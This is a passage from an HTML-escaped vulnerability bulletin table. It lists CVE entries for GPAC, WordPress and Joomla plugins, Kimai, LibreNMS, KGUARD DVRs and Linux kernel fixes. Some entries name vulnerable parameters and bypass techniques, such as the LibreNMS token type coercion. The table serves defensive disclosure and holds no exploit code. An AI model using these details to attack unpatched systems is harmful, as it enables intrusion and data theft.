&lt;td&gt;Buffer Overflow vulnerability in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the j2kdec_process() function. Fixed in 9a253a07fd3f6b48022bba74302bf39388dda859.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71613&quot; target=&quot;_blank&quot;&gt;CVE-2026-71613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;An issue in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the src/media_tools/dvb_mpe.c, descriptorTime_slice_fec_identifier() and gf_m2ts_ipdatagram_reader() components. Fixed in 0e4093392e1f847c90d20e031e893cd942fef938.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71614&quot; target=&quot;_blank&quot;&gt;CVE-2026-71614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;An issue in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to cause a denial of service via the function gf_route_media_complete_object(). Fixed in 3c4e6c5b3e0c6fa9b16d55599701a08354538fab.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71616&quot; target=&quot;_blank&quot;&gt;CVE-2026-71616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gpx2Graphics--Gpx2Graphics&lt;/td&gt;
&lt;td&gt;The Gpx2Graphics WordPress plugin through 0.3 does not perform a CSRF check when handling file uploads, nor validate the type of the uploaded file, allowing attackers to make a logged-in administrator upload arbitrary files such as PHP via a CSRF attack, leading to Remote Code Execution.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81090&quot; target=&quot;_blank&quot;&gt;CVE-2026-81090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Groundhogg CRM, Newsletters, and Marketing Automation--Groundhogg CRM, Newsletters, and Marketing Automation&lt;/td&gt;
&lt;td&gt;The Groundhogg - CRM, Newsletters, and Marketing Automation WordPress plugin before 4.7.2 does not restrict the redirect target of its email preference confirmation flow to the site&#039;s own host, allowing unauthenticated attackers to redirect visitors to an arbitrary external URL by way of a crafted link.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81741&quot; target=&quot;_blank&quot;&gt;CVE-2026-81741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gutenverse News--Gutenverse News&lt;/td&gt;
&lt;td&gt;The Gutenverse News WordPress plugin before 3.3.3 does not restrict the extra HTML it adds to WordPress&#039;s allowed elements to the context it is meant for, applying the same relaxed list to every sanitisation context including untrusted comments, allowing unauthenticated users to store JavaScript that will execute in the browser of any administrator who reviews the comment queue, and of any visitor to the post once the comment is approved.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85677&quot; target=&quot;_blank&quot;&gt;CVE-2026-85677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Halo--Halo v 2.25.4&lt;/td&gt;
&lt;td&gt;In Halo &amp;lt;= 2.25.4, the plugin management feature allows users to install/update malicious plugins, which could let attackers execute any command with Halo process permissions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78971&quot; target=&quot;_blank&quot;&gt;CVE-2026-78971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Italtel--NFV 11.1.2-20210318&lt;/td&gt;
&lt;td&gt;Italtel NFV 11.1.2-20210318 allows Multiple Stored XSS under NP_BCCAS-RMCTRL-01/IMCSCIWebGui/configuration.jsp?opration=list&amp;amp;object=announcementAS via the name, username, or mrfAnnouncementNameparameter. A malicious user leveraging this vulnerability could inject arbitrary JavaScript. The malicious payload will then be triggered every time an authenticated user browses the page containing it.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-26962&quot; target=&quot;_blank&quot;&gt;CVE-2022-26962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomlart.com--T4 Page Builder extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomlart.com - Open mail relay via contact AJAX endpoint in T4 Page Builder extension &amp;lt; 2.3.0 - The front-end JSON editor endpoint exposes an action called contact that requires no authentication, no CSRF token, no captcha (when no captcha plugin is enabled) and has no rate limiting. The attacker fully controls the recipient, subject and HTML body, and the mail is sent from the site&#039;s configured sender identity (mailfrom/fromname).&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78374&quot; target=&quot;_blank&quot;&gt;CVE-2026-78374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Unauthenticated SQL Injection in Property Search and Map Filtering in SP Property &amp;lt; 4.1.4 - The property search and listing query builders assembled several WHERE and ORDER BY clauses (zipcode, sorting, price_range_dropdown, and psize_range_dropdown) by directly concatenating raw request parameters into SQL strings without quoting or type casting. An unauthenticated remote attacker could execute boolean-based or time-based blind SQL injection to extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78082&quot; target=&quot;_blank&quot;&gt;CVE-2026-78082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing CSRF Token Verification in Property Booking and Agent Contact Endpoints in SP Property &amp;lt; 4.1.4 - The visitor booking (properties.booking) and agent contact form submission (agents.sendmail) endpoints processed POST requests without verifying Joomla session anti-CSRF tokens.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78083&quot; target=&quot;_blank&quot;&gt;CVE-2026-78083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing Access Control in Gallery Image Management in SP Property &amp;lt; 4.1.4 - The gallery management controller tasks lacked authorization checks and CSRF token validation.. Users could invoke file removal actions with arbitrary path strings or upload unverified file types.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78084&quot; target=&quot;_blank&quot;&gt;CVE-2026-78084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Path Traversal in Gallery Image Management in SP Property &amp;lt; 4.1.4 - The gallery management controller tasks lacked directory confinement checks.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78085&quot; target=&quot;_blank&quot;&gt;CVE-2026-78085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Unauthenticated Stored Cross-Site Scripting (XSS) via Unescaped Output in Views and Admin Lists in SP Property &amp;lt; 4.1.4 - Multiple template files across frontend views and administrator list tables rendered attributes and text values directly into HTML without contextual escaping.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78302&quot; target=&quot;_blank&quot;&gt;CVE-2026-78302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Property extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Unvalidated Email Destination &amp;amp; Form Manipulation in Booking Requests in SP Property &amp;lt; 4.1.4 - Booking inquiries previously relied on client-submitted hidden fields for recipient routing, allowing potential email manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78303&quot; target=&quot;_blank&quot;&gt;CVE-2026-78303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;KGUARD--KGUARD_firmware&lt;/td&gt;
&lt;td&gt;Certain KGUARD DVR devices running vulnerable firmware expose a system command execution service on all network interfaces without requiring authentication. A remote unauthenticated attacker with network access to the affected service can execute arbitrary system commands on the device, potentially resulting in complete compromise of the DVR. The vulnerability is known to have been exploited in the wild by the Mirai_ptea (Rimasuta) and Mirai_aurora botnets for malware propagation and subsequent DDoS activity. The vulnerability was reported to affect firmware dating from 2016, while firmware released after 2017 appears to mitigate the issue by restricting the affected service to the localhost interface (127.0.0.1) instead of exposing it on all interfaces (0.0.0.0). The affected-device list reported by Netlab includes many D1004NR, D1008NR, D1016NR, D1104, D1104NR, D1108NR, D1116NR, D1132NR, D2116NR, D97xx, D98xx, and D99xx variants and several associated hardware revisions The exploit is included in some version of&amp;nbsp;rapperbot and exploited in 2026. This assignment has been made to document the active exploitation and lack of documentation from the vendor.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87827&quot; target=&quot;_blank&quot;&gt;CVE-2026-87827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Versions prior to 2.58.0 contain a server-side request forgery vulnerability in their invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax. This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services. Version 2.58.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49865&quot; target=&quot;_blank&quot;&gt;CVE-2026-49865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kimai--kimai&lt;/td&gt;
&lt;td&gt;Kimai is an open-source time tracking application. Versions prior to 2.58.0 contain authenticated cross-site request forgery issues in their default team creation shortcuts for projects, customers, and activities. These endpoints are exposed through `GET` routes and directly create or reuse a `Team`, add the current user as teamlead, and bind the target object to that team. As a result, an attacker can trick a logged-in user with the required permissions into visiting a malicious page and cause unauthorized changes to team, teamlead, and object-binding relationships. This is a real authorization-structure modification issue rather than a harmless UI shortcut. Version 2.58.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49992&quot; target=&quot;_blank&quot;&gt;CVE-2026-49992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kirki--Kirki&lt;/td&gt;
&lt;td&gt;The Kirki WordPress plugin before 6.3.0 does not check whether the requester is allowed to read a post before rendering and returning its page content, allowing unauthenticated users to retrieve the content of pages that are not publicly available, such as private, draft, pending and trashed ones.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84222&quot; target=&quot;_blank&quot;&gt;CVE-2026-84222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;L-ONE--L-ONE v1.0.0&amp;nbsp;&lt;/td&gt;
&lt;td&gt;L-ONE v1.0.0 was discovered to contain multiple SQL injection vulnerabilities in the /attachment/getBusinessUploadList component via the busid, id, and taskid parameters. This vulnerability allows attackers to access sensitive database information via a crafted SQL statement.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79573&quot; target=&quot;_blank&quot;&gt;CVE-2026-79573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LaciSynchroni--server&lt;/td&gt;
&lt;td&gt;Laci Synchroni is a decentralized mod and appearance sync server and plugin for Dalamud. Versions of the backend prior to 1.2.3 have an improper authentication vulnerability in the application&#039;s OAuth2 login flow. The application relies on client-side state by trusting the `UID` field inside the `Authentications` object of a user&#039;s local `config.json` file. By manually editing this local file on their PC prior to logging in, a user can supply an arbitrary UID. Because the server fails to validate that the authenticated OAuth2 identity matches the requested UID, an attacker can fully impersonate any target user and perform actions on their behalf. This issue has been resolved in version 1.2.3. The patch modifies `AuthorizeOauthAsync` inside the `SecretKeyAuthenticatorService` to strictly bind the lookup of the requested User ID (`requestedUid`) to the record of the successfully authenticated identity (`primaryUid`). The server will no longer load or return session tokens for a requested UID unless it matches the verified, authenticated database record. No known workarounds are available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54047&quot; target=&quot;_blank&quot;&gt;CVE-2026-54047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;librenms--librenms&lt;/td&gt;
&lt;td&gt;LibreNMS before 26.8.0 contains an authentication bypass vulnerability in the REST API that allows unauthenticated attackers to access protected endpoints by sending numeric values instead of string tokens. Attackers can exploit MySQL type coercion by sending small integers like 0 through 9 to match token hashes, gaining access to API functionality including device credentials and administrative features that enable remote code execution through alert templates.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86426&quot; target=&quot;_blank&quot;&gt;CVE-2026-86426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linkstack--Linkstack v4.8.4&lt;/td&gt;
&lt;td&gt;Linkstack v4.8.4 and earlier is vulnerable to Path Traversal, which allows an administrator to read arbitrary files on the server by manipulating file path input. Successful exploitation may lead to unauthorized access to sensitive system or application files.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69904&quot; target=&quot;_blank&quot;&gt;CVE-2025-69904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix DPT allocation paths. Remove the fallback for VRAM to system memory, I tested it and that doesn&#039;t work at all, only a black screen with pipe fault errors were observed. On systems with media GT, extra latency is added when accessing stolen memory when the GT is in MC6. Since we additionally aren&#039;t counting how much memory is used for stolen and we could in theory fill up the entire stolen area with DPT&#039;s, avoid using stolen and only use the default memory region. Using stolen may also result in random system hangs under load. (cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80915&quot; target=&quot;_blank&quot;&gt;CVE-2026-80915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: kcov: fix data corruption and race conditions on PREEMPT_RT syzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the temporary storage used for saving/restoring remote KCOV state is currently allocated as the per-CPU area. On PREEMPT_RT kernels, softirq handlers run as preemptible task threads (e.g., ksoftirqd). If a softirq context preempts a task running a remote KCOV session, it safely saves the task&#039;s state into the per-CPU area. However, if that softirq thread is subsequently preempted by a higher- priority softirq thread on the same CPU, the second softirq will overwrite the same per-CPU area, permanently destroying the original task&#039;s KCOV state. Fix this data corruption by moving the temporary storage from the per-CPU area to the per-thread area. Since each softirq thread now owns its own task context, nested softirq preemption no longer causes data overwrites. Note that while the temporary storage is now on a per-thread basis, the per-CPU kcov_percpu_data.lock must be retained, for we need to ensure that kcov_remote_start() and kcov_remote_stop() operate atomically without racing against asynchronous interrupts that manipulate the current task&#039;s KCOV state. It is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init() has already called panic() before returning NULL, for there will be no OOM-killable userspace processes when __init function of built-in module runs. But this patch also fixes crashing the kernel when vmalloc_node() in kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL but kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in (1) doing vmalloc() in kcov_remote_start() despite !in_task() context (2) out-of-array-bounds access if (1) succeeded but kcov-&amp;gt;remote_size &amp;lt; CONFIG_KCOV_IRQ_AREA_SIZE (3) always leak memory allocated by (1), eventually killing all OOM-killable userspace processes problems.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80916&quot; target=&quot;_blank&quot;&gt;CVE-2026-80916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems On 32-bit systems the config space is too large to ioremap in one go, so pci_ecam_create() maps each bus segment separately and relies on the -&amp;gt;add_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in cfg-&amp;gt;winp[]. pci_ecam_map_bus() then uses that mapping as the base for every config access. The generic ECAM ops (pci_generic_ecam_ops) already provide the -&amp;gt;add_bus and -&amp;gt;remove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c do not. As a result, on a 32-bit host using &quot;pci-host-cam-generic&quot; the per-bus mapping is never set up and the first config read dereferences a NULL base, crashing during bus enumeration: Unable to handle kernel NULL pointer dereference at virtual address 00000800 Oops [#1] CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43 Hardware name: Digilent Nexys-Video-A7 RV32 (DT) epc : pci_generic_config_read+0x40/0xb0 ra : pci_generic_config_read+0x2c/0xb0 [&amp;lt;c038db9c&amp;gt;] pci_generic_config_read+0x40/0xb0 [&amp;lt;c038da04&amp;gt;] pci_bus_read_config_dword+0x50/0xb0 [&amp;lt;c0391e94&amp;gt;] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec [&amp;lt;c039245c&amp;gt;] pci_scan_single_device+0xa4/0x11c [&amp;lt;c0392570&amp;gt;] pci_scan_slot+0x9c/0x23c [&amp;lt;c039388c&amp;gt;] pci_scan_child_bus_extend+0x58/0x2f4 [&amp;lt;c0393db0&amp;gt;] pci_scan_root_bus_bridge+0x64/0xe8 [&amp;lt;c0393e54&amp;gt;] pci_host_probe+0x20/0xc8 [&amp;lt;c03bc6f4&amp;gt;] pci_host_common_probe+0x144/0x1e4 Fix this by giving the CAM ops the same -&amp;gt;add_bus/-&amp;gt;remove_bus callbacks. Since pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c, move the CAM ops definition there as pci_generic_cam_ops (mirroring pci_generic_ecam_ops) and export it for pci-host-generic.c to reference. [mani: removed timestamp from log]&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80917&quot; target=&quot;_blank&quot;&gt;CVE-2026-80917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: core: fix number/pointer type confusion on long items When fetch_item() is called by hid_scan_report() on an item with HID_ITEM_TAG_LONG, it stores a pointer to the item data in item-&amp;gt;data.longdata instead of storing a value directly in item-&amp;gt;data.{u8/u16/u32}. When item_udata() or item_sdata() encounters such an item, it incorrectly assumes that the item is in short format, and therefore returns the lower part of a kernel pointer reinterpreted as a number. When a HID device is connected whose descriptor contains a HID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this causes the lower half of a kernel pointer to be printed into dmesg as a number, like this: hid (null): invalid report_size 107953555 To fix it, let item_udata() and item_sdata() verify that the item is in short format. Note that this bug only affects hid_scan_report(), while the main parsing pass hid_parse_collections() will always bail out when encountering a long item. Sidenote: There are currently no users of data.longdata; maybe we should just remove any parsing of long-format descriptors as a follow-up.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80918&quot; target=&quot;_blank&quot;&gt;CVE-2026-80918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format When dumping IB contents from a hung job, amdgpu_devcoredump_format() acquired the VM root PD&#039;s reservation via amdgpu_vm_lock_by_pasid() and then, for each IB, called amdgpu_bo_reserve() on the BO backing the IB. Both reservations are reservation_ww_class_mutex objects and neither used a ww_acquire_ctx, which trips lockdep: WARNING: possible recursive locking detected -------------------------------------------- kworker/u128:0 is trying to acquire lock: ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] but task is already holding lock: ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] Possible unsafe locking scenario: CPU0 ---- lock(reservation_ww_class_mutex); lock(reservation_ww_class_mutex); *** DEADLOCK *** May be due to missing lock nesting notation Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu] Call Trace: __ww_mutex_lock.constprop.0 ww_mutex_lock amdgpu_bo_reserve amdgpu_devcoredump_format+0x1594 [amdgpu] amdgpu_devcoredump_deferred_work+0xea [amdgpu] The two reservations are on different BOs in the captured trace, so the splat is a lockdep-correctness warning, not an observed deadlock. It becomes a real self-deadlock whenever the IB BO shares its dma_resv with the root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()): amdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket and blocks forever. With amdgpu.gpu_recovery=0 the timeout handler refires every ~2 s and each invocation produces this splat, drowning the kernel ring buffer. Now that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB dumping into a separate helper that locks the root PD and every IB BO together in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles IB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed by the same BO). Every lock is now a top-level acquire under one ww_acquire_ctx, so the recursive ww_mutex condition is gone, and the per-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO refcount leak on the amdgpu_bo_reserve() failure path -- is removed. (cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80919&quot; target=&quot;_blank&quot;&gt;CVE-2026-80919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: io_uring: defer eventfd signaling when queued from a wakeup handler io_req_local_work_add() signals the CQ ring eventfd inline when it is the one to push the first entry onto -&amp;gt;work_list. For DEFER_TASKRUN rings that add is frequently done from a waitqueue wakeup handler, where an arbitrary waitqueue lock is held. eventfd_signal_mask() only refuses to recurse when current-&amp;gt;in_eventfd is set, but that bit is set by eventfd_signal_mask() itself. If the wake chain starts somewhere else, signal goes out inline and can feed back into epoll. Add IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three waitqueue callbacks, and use it to force io_eventfd_signal() down the existing call_rcu_hurry() deferral instead of signaling inline.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80920&quot; target=&quot;_blank&quot;&gt;CVE-2026-80920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: qcom-rng - Allow zero as a random number Zero is a valid random number and needs to be allowed. Otherwise the output is distinguishable from random.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80922&quot; target=&quot;_blank&quot;&gt;CVE-2026-80922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
